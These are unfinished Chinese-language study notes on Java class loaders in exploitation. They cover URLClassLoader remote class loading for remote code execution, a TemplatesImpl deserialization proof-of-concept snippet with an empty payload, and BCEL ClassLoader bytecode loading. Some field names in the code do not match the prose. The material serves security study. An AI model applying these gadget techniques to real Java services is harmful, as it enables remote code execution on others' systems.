持续补充 ...
URLCLassLoader
实际上是我们平时默认使用的AppClassLoader
的父类,所以,我们解释URLClassLoader
的工作过程实际上就是在解释默认的Java类加载器的工作流程。
java 对路径的处理:
- URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻 找.class文件
- URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻 找.class文件
- URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类
也就是协议不是file且以 / 结尾,会使用Loader寻找类,最常见的是http协议。可以通过这种方法直接加载远端的class文件,所以如果我们控制了目标Java ClassLoader的基础路径为一个http服务器,即可RCE
无论加载远程class还是本地class或者jar文件,调用过程都是下面三个方法:
defineClass
ClassLoader#defineClass
是一个native方法,逻辑在JVM的C语言代码中。TemplatesImpl
非常常用的Java反序列化利用链组成部分,poc:
public static void main(String[] args) throws Exception { BASE64Decoder base64Decoder = new BASE64Decoder(); byte[] code = base64Decoder.decodeBuffer(""); TemplatesImpl obj = new TemplatesImpl(); Field f1 = obj.getClass().getDeclaredField("__bytecodes"); f1.setAccessible(true); f1.set(obj, new byte[][]{code}); Field f2 = obj.getClass().getDeclaredField("__name"); f2.setAccessible(true); f2.set(obj, "HelloTemplatesImpl"); Field f3 = obj.getClass().getDeclaredField("__tfactory"); f3.setAccessible(true); f3.set(obj, new TransformerFactoryImpl()); obj.newTransformer(); }
注意:
设置了三个属性: _bytecodes 、 _name 和 _tfactory 。
emplatesImpl#defineTransletClasses()
方法里有调用到tfactory.getExternalExtensionsMap()
,如果是null会出错。另外,TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类。因此需要构造一个特殊的类。
BCELClassLoader
BCEL Classloader去哪了
在java 8u251前可用。
使用的是com.sun.org.apache.bcel.internal.util.ClassLoader;
// 原生字节码转BCEL JavaClass cls = Repository.lookupClass(exp.class); String code = Utility.encode(cls.getBytes(), true); System.out.println(code); // 加载 new ClassLoader().loadClass("exp").newInstance();
待补充...